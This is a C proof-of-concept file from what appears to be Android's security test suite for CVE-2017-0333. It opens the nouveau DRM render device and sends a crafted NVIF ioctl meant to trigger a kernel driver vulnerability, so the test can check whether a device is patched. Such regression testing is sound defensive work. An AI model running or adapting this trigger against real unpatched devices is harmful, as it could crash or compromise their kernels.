hostsidetests/security/securityPatch/CVE-2017-0333/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include "local_poc.h"

#define DEV "/dev/dri/renderD128"

int dev_fd;

enum nouveau_drm_object_route {
  NVDRM_OBJECT_NVIF = 0,
  NVDRM_OBJECT_USIF,
  NVDRM_OBJECT_ABI16,
};

struct nvif_ioctl_v0 s_nvif;

int main() {
  int ret;

  dev_fd = open(DEV, O_RDONLY);

  if (dev_fd == -1) {
    return 0;
  }

  s_nvif.type = 0x3;

  ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif);
}